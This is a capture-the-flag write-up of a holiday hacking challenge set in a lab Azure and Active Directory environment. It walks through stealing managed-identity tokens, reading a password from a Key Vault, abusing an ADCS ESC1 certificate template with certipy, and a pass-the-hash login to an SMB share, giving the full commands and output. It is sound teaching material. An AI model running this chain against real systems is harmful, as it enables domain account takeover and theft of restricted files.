Skip to content

Active Directory⚓︎

Difficulty:

Objective⚓︎

Request

Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What's the name of the secret file in the inaccessible folder on the FileShare?

Ribb Bonbowford

Hello, I'm Ribb Bonbowford. Nice to meet you!
Oh golly! It looks like Alabaster deployed some vulnerable Azure Function App Code he got from ChatNPT.
Don't get me wrong, I'm all for testing new technologies. The problem is that Alabaster didn't review the generated code and used the Geese Islands Azure production environment for his testing.
I'm worried because our Active Directory server is hosted there and Wombley Cube's research department uses one of its fileshares to store their sensitive files.
I'd love for you to help with auditing our Azure and Active Directory configuration and ensure there's no way to access the research department's data.
Since you have access to Alabaster's SSH account that means you're already in the Azure environment. Knowing Alabaster, there might even be some useful tools in place already.

Hints⚓︎

Misconfiguration ADventures

From: Alabaster Snowball

Certificates are everywhere. Did you know Active Directory (AD) uses certificates as well? Apparently the service used to manage them can have misconfigurations too.

Useful Tools

From: Ribb Bonbowford

It looks like Alabaster's SSH account has a couple of tools installed which might prove useful.

Solution⚓︎

This challenge has two parts. The second is to use the "impacket" tools we found in Alabaster's account on ssh-server-vm.santaworkshopgeeseislands.org to find and access Wombley Cube's research department data.

But most if not all of these tools need some basic information - the address of the AD domain controller and the AD domain name.

Finding these is the first part.

Azure API Amusements⚓︎

The Azure REST API documentation and the REST API Browser list a myriad of objects that can be read or changed. The requests are to different domains, e.g.

  • management.azure.com
  • graph.microsoft.com
  • vault.azure.net

Each of these needs its own authorization token. To simplify our explorations, we get a token for each domain via the server ssh-server-vm.santaworkshopgeeseislands.org from the "Certificate SSHenanigans" challenge:

alabaster@ssh-server-vm:~$ curl -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com'
alabaster@ssh-server-vm:~$ curl -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com'
alabaster@ssh-server-vm:~$ curl -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net'
Wrapper Script "mycurl"

Life is much easier using a wrapper script around "curl". The wrapper script holds the auth tokens and uses the fitting one based on the domain:

mycurl
#!/bin/bash

token="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDMzNjIwNTEsIm5iZiI6MTcwMzM2MjA1MSwiZXhwIjoxNzAzNDQ4NzUxLCJhaW8iOiJFMlZnWUJDMmliOHhQZmJTbnoycUtTZHl2SU9aQVE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiJxcXFfbncxSnRFeXVnc3dLNHZHR0FnIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.Ifd-Zsywd0uj8j5hpGk-e2uujlLmbd_v5VIiB_DHonEIqnes4eyctorsJF60X5Du430LSnDSyyx0p-2WWQ7x1LZ-FsHP_0X-0wCB3Ios69mA6gYp35YU1OPlj0Ibnlw3HA92Vg6O6fzd-ZzQpmO7z-P9Is0maboeIcrRfXcU5SHC9XotO9YcCszAuWlZyyBUonWSpyzQ3uteK6vDp5wF97dxA1MzE28QB5yFRUJGMu-UM3C0Hds8smiKeqL0MLNd9dvWG1qy7M_amAK8aFLN1gVrW5lDpUuvL-GDfIqVO63wxGKKUcx8drnD15b1EWzHVg404sdO-JaiBIH56ZfR8w"

token_graph="eyJ0eXAiOiJKV1QiLCJub25jZSI6IkRQMlgzZ3hqZkxMdFUzVTQyWVVlczNYYnJueEFtRUU2Z2V2U0Jkc1UtY3ciLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC85MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQvIiwiaWF0IjoxNzAzMzM2NzI5LCJuYmYiOjE3MDMzMzY3MjksImV4cCI6MTcwMzQyMzQyOSwiYWlvIjoiRTJWZ1lKaXlWK0JvY0Y5ZXJQalJHNVB2K2F6WkFBQT0iLCJhcHBfZGlzcGxheW5hbWUiOiJub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRRTUFBQUFBQUFBQXdBQUFBQUFBQUFEUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0ZW5hbnRfcmVnaW9uX3Njb3BlIjoiTkEiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiI5YV8wWEJYQmowMjNxUVpRSmh1dUFnIiwidmVyIjoiMS4wIiwid2lkcyI6WyIwOTk3YTFkMC0wZDFkLTRhY2ItYjQwOC1kNWNhNzMxMjFlOTAiXSwieG1zX3RjZHQiOjE2OTg0MTc1NTd9.TInIGPCuUCL_f-niYmry3UTIVEBW4BTL9bGDjheC8TvIa5rD9lXSLExLXPsnQdTlFJwVpKqtVBkkuGxlPw6Fw31QATaO7d0_1K5bmrAozaLGFWersR5ElaICkKpfdsGEem4bGxLbm5uedLyeWK2JB_fXjnDbwU7pUcHv9ppc2YW1kyWawS7n0-1gWSVx60rDiSAOt58dexyrHJyx1T5UPONcH2H_uHVug864TDGGGUvgQG3JZXtkvXX8xndwrMcsHhExYNiYvT71v_dr133VNp1ldnWUgdQ5Ru_Sp-vnfwoNmES5PxDaJq3lYNrPJgfgVN-H_-XZrfZhyYN6kQtb0g"

token_vault="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDMzNjM4NjIsIm5iZiI6MTcwMzM2Mzg2MiwiZXhwIjoxNzAzNDUwNTYyLCJhaW8iOiJFMlZnWUNnODRwLzJ2L0hpanZZT0Zxczg3U3c3QUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiOWFfMFhCWEJqMDIzcVFaUXNHVElBZyIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.alpdbGyFg5QKrLBOeVBaNDVinq45KavXFyGPXeALn_jEuCWQzaJ3oYgQTrYzJNhrCILNwd-psPi-qQtgefsRwCAcBOsrPk4Vc_kM_Dj5ZC5c6jA3er7n114nFcUR2RWbSYUOOEDLd9swQ_3ZrcuVJJlPaKlRYu4KJjV_UvKKwWIb8QCr-0wX47Bd0iPMRDhVgSj0nKmRwp23Ob6RDEnsoNY6oW1hqs0IeMDdrBmYwMJPDm5AOMJJDATU4asyZRxHL2G2aGbLF_1kA6AUtlDb7sKcfw59EEP8anmFDTFK-lDKy3NIiZFo6ldJ-WWAUVgCJYMl22NIDBPNjMhmj6Zw2w"

url="$1"

if [[ $url =~ graph.microsoft.com ]] ; then token=$token_graph; fi
if [[ $url =~ vault.azure.net ]] ; then token=$token_vault; fi

subscription_id="2b0942f3-9bca-484b-a508-abdae2db5e64"
resourceGroupName="northpole-rg1"
site_name="northpole-ssh-certs-fa"

url=$( echo "$url" | sed -e "s/{subscriptionId}/$subscription_id/" )
url=$( echo "$url" | sed -e "s/{resourceGroupName}/$resourceGroupName/" )
url=$( echo "$url" | sed -e "s/{name}/$site_name/" )

curl -s -H "Authorization: Bearer $token" "$url"  | jq "$2"
Additionally it inserts the subscription id, the resource group and the site name at the respective place holders in the template from the Microsoft documentation. That way, we can use the query string from the without modification and do not have to pay attention to its domain. The answer will be in JSON format. The last lines pipes it to "jq", which here does a wonderful job of pretty printing the JSON in a human readable way. Or, of we provide a second command line argument, this will be used as a jq filter on the output.

Example:

$./mycurl https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups?api-version=2021-04-01 '.value[]'

{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1",
  "name": "northpole-rg1",
  "type": "Microsoft.Resources/resourceGroups",
  "location": "eastus",
  "tags": {},
  "properties": {
    "provisioningState": "Succeeded"
  }
}

Our explorations of the API bring us to the "Key Vault API". We list the existing key vaults:

./mycurl 'https://management.azure.com/subscriptions/{subscriptionId}/resources?api-version=2015-11-01'
{
  "value": [
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
      "name": "northpole-it-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {}
    },
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
      "name": "northpole-ssh-certs-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {}
    }
  ]
}
and proceed to get their metadata:
get northpole-it-kv
./mycurl https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2022-07-01

{
  ...
  "name": "northpole-it-kv",
  ...
  },
  "properties": {
    ...
    "accessPolicies": [],
    ...
    "vaultUri": "https://northpole-it-kv.vault.azure.net/",
    ...
  }
}
get northpole-ssh-certs-kv
./mycurl https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv?api-version=2022-07-01

{
  ...
  "name": "northpole-ssh-certs-kv",
  ...
  "properties": {
    ...
    "accessPolicies": [
      {
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "objectId": "0bc7ae9d-292d-4742-8830-68d12469d759",
        "permissions": { ...  }
      },
      {
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "objectId": "1b202351-8c85-46f1-81f8-5528e92eb7ce",
        "permissions": { ...  }
      }
    ],
    ...
    "vaultUri": "https://northpole-ssh-certs-kv.vault.azure.net/",
    ...
  }
}
"northpole-ssh-certs-kv" has access policies in place that limit the source of access to some objects we cannot use; "northpole-it-kv", on the other hand, has an empty access policy. We use its vaultUri to kindly ask for its secrets:

./mycurl https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4
{
"value": [
    {
      "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript",
      "attributes": {
        "enabled": true,
        "created": 1699564823,
        "updated": 1699564823,
        "recoveryLevel": "Recoverable+Purgeable",
        "recoverableDays": 90
      },
      "tags": {}
    }
  ],
  "nextLink": null
}
Note about authentication token

Please note that this API now is on vault.azure.net, no longer on management.azure.com. Our wrapper script has automatically chosen the right token.

Let us look at the URL in the id:

./mycurl https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?api-version=7.4

{
  "value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
  "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
  "attributes": {
    "enabled": true,
    "created": 1699564823,
    "updated": 1699564823,
    "recoveryLevel": "Recoverable+Purgeable",
    "recoverableDays": 90
  },
  "tags": {}
}

That "value" is a powershell script:

Import-Module ActiveDirectory;
$UserName = \"elfy\";
$UserDomain = \"northpole.local\";
$UserUPN = \"$UserName@$UserDomain\";
$Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force;
$DCIP = \"10.0.0.53\";
New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru

It teaches us the information we need to use the impacket tools:

  • the AD domain controller IP address: 10.0.0.53
  • a user account "elfy" along with its password "J4`ufC49/J4766"

Backtick

The 3rd character in the password is really a backtick

Impish Impacket Impersonation⚓︎

On to the second part - having fun with the impacket tools.

We log in as alabaster to ssh-server-vm.santaworkshopgeeseislands.org, change to the "impacket" directory, and proceed from there ... to ask the domain controller what other computers and users he knows of:

labaster@ssh-server-vm:~/impacket$ ./net.py -dc-ip 10.0.0.53 northpole.local/elfy:'J4`ufC49/J4766'@10.0.0.53 computer
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Enumerating computers ..
  1. npdc01$

alabaster@ssh-server-vm:~/impacket$ ./net.py -dc-ip 10.0.0.53 northpole.local/elfy:'J4`ufC49/J4766'@10.0.0.53 user    
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Enumerating users ..
  1. alabaster
  2. Guest
  3. krbtgt
  4. elfy
  5. wombleycube

That is a surprise - the DC is the only computer in the domain. But we found a user "wombleycube", who according to Ribb Bonboford is associated with the research department whose sensitive files we seek.

Alabaster's hint "Misconfiguration ADventures" mentions certificates. "certipy" will tell us more:

alabaster@ssh-server-vm:~/impacket$ ./certipy find -u elfy@10.0.0.53 -p 'J4`ufC49/J4766'  
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231231121851_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231231121851_Certipy.txt'
[*] Saved JSON output to '20231231121851_Certipy.json'

The output file "20231231121851_Certipy.txt" tells us a lot:

Certificate Authorities
  0
    CA Name                             : northpole-npdc01-CA
    DNS Name                            : npdc01.northpole.local
    Certificate Subject                 : CN=northpole-npdc01-CA, DC=northpole, DC=local
    ...
    Permissions
      Owner                             : NORTHPOLE.LOCAL\Administrators
      Access Rights
        ManageCertificates              : NORTHPOLE.LOCAL\Administrators
                                          NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        ManageCa                        : NORTHPOLE.LOCAL\Administrators
                                          NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Enroll                          : NORTHPOLE.LOCAL\Authenticated Users
Certificate Templates
  0
    Template Name                       : NorthPoleUsers
    Display Name                        : NorthPoleUsers
    Certificate Authorities             : northpole-npdc01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Domain Users
                                          NORTHPOLE.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : NORTHPOLE.LOCAL\Enterprise Admins
        Write Owner Principals          : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Write Dacl Principals           : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Write Property Principals       : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
    [!] Vulnerabilities
      ESC1                              : 'NORTHPOLE.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
  ...
  [other templates omitted]
The name of the Certification Authority is "northpole-npdc01-CA" and it runs on the DC itself - "npdc01.northpole.local". Certipy flags a vulnerability "ESC1" in the very first certificate template "NorthPoleUsers".

What does this mean? Certipy's github site explains this as follows:

   ESC1
   ESC1 is when a certificate template permits Client Authentication and allows
   the enrollee to supply an arbitrary Subject Alternative Name (SAN).

So basically, with the "elfy" account, we should be able to get a certificate for another user account, e.g. "wombleycube".

Preconditions

specterops.io has a list of 6 conditions that must be met for this vulnerability. We won't check them, but just try to get get the certificate.

alabaster@ssh-server-vm:~/impacket$ ./certipy req  -dc-ip 10.0.0.53 -u elfy@10.0.0.53 -p 'J4`ufC49/J4766'  -ca northpole-npdc01-CA -target npdc01.northpole.local -template NorthPoleUsers -upn wombleycube 
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 116
[*] Got certificate with UPN 'wombleycube'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'

All right, we got a certificate for wombleycube!

smbclient.py needs a NTLM hash, not a certificate, to authenticate to a file server. certipy can request such a NTLM hash with the certificate:

alabaster@ssh-server-vm:~/impacket$ ./certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53 -username wombleycube -domain northpole.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23

Listing the computers showed only the DC, so we assume that the DC is also the file server. Going there:

alabaster@ssh-server-vm:~/impacket$ ./smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23 -dc-ip 10.0.0.52 wombleycube@10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL

We are logged in and browse the files:

# use FileShare
# ls
drw-rw-rw-          0  Sat Dec 23 01:21:17 2023 .
drw-rw-rw-          0  Sat Dec 23 01:21:14 2023 ..
-rw-rw-rw-     701028  Sat Dec 23 01:21:17 2023 Cookies.pdf
-rw-rw-rw-    1521650  Sat Dec 23 01:21:17 2023 Cookies_Recipe.pdf
-rw-rw-rw-      54096  Sat Dec 23 01:21:17 2023 SignatureCookies.pdf
drw-rw-rw-          0  Sat Dec 23 01:21:17 2023 super_secret_research
-rw-rw-rw-        165  Sat Dec 23 01:21:17 2023 todo.txt

# tree /
//Cookies.pdf
//Cookies_Recipe.pdf
//SignatureCookies.pdf
//todo.txt
/super_secret_research/InstructionsForEnteringSatelliteGroundStation.txt
Finished - 2 files and folders

Text files we can print on the screen with "cat". The pdf files we will download for later consumption.

# cat /super_secret_research/InstructionsForEnteringSatelliteGroundStation.txt
Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.

# cat todo.txt
1. Bake some cookies.
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit


# mget *.pdf
# exit

Solved this challenge

The original task was "What's the name of the secret file in the inaccessible folder on the FileShare?". Now we see it is "InstructionsForEnteringSatelliteGroundStation.txt"

Passphrase for Satellite Ground Station

InstructionsForEnteringSatelliteGroundStation.txt contained just what it says - the passphrase that Wombley's voice must speak to open the door.

   And he whispered, 'Now I shall be out of sight;
   So through the valley and over the height.'
   And he'll silently take his way.

Answer

InstructionsForEnteringSatelliteGroundStation.txt

Response⚓︎

Ribb Bonbowford

Wow, nice work. I'm impressed!
This is all starting to feel like more than just a coincidence though. Everything Alabaster's been setting up lately with the help of ChatNPT contains all these vulnerabilities. It almost feels deliberate, if you ask me.
Now obviously an LLM AI like ChatNPT cannot have deliberate motivations itself. It's just a machine. But I wonder who could have built it and who is controlling it?
On top of that, we apparently have a satellite ground station on Geese Islands. I wonder where that thing would even be located.
Well, I guess it's probably somewhere on Space Island, but I've not been there yet.
I'm not a big fan of jungles, you see. I have this tendency to get lost in them.
Anyway, if you feel like investigating, that'd be where I'd go look.
Good luck and I'd try and steer clear of ChatNPT if I were you.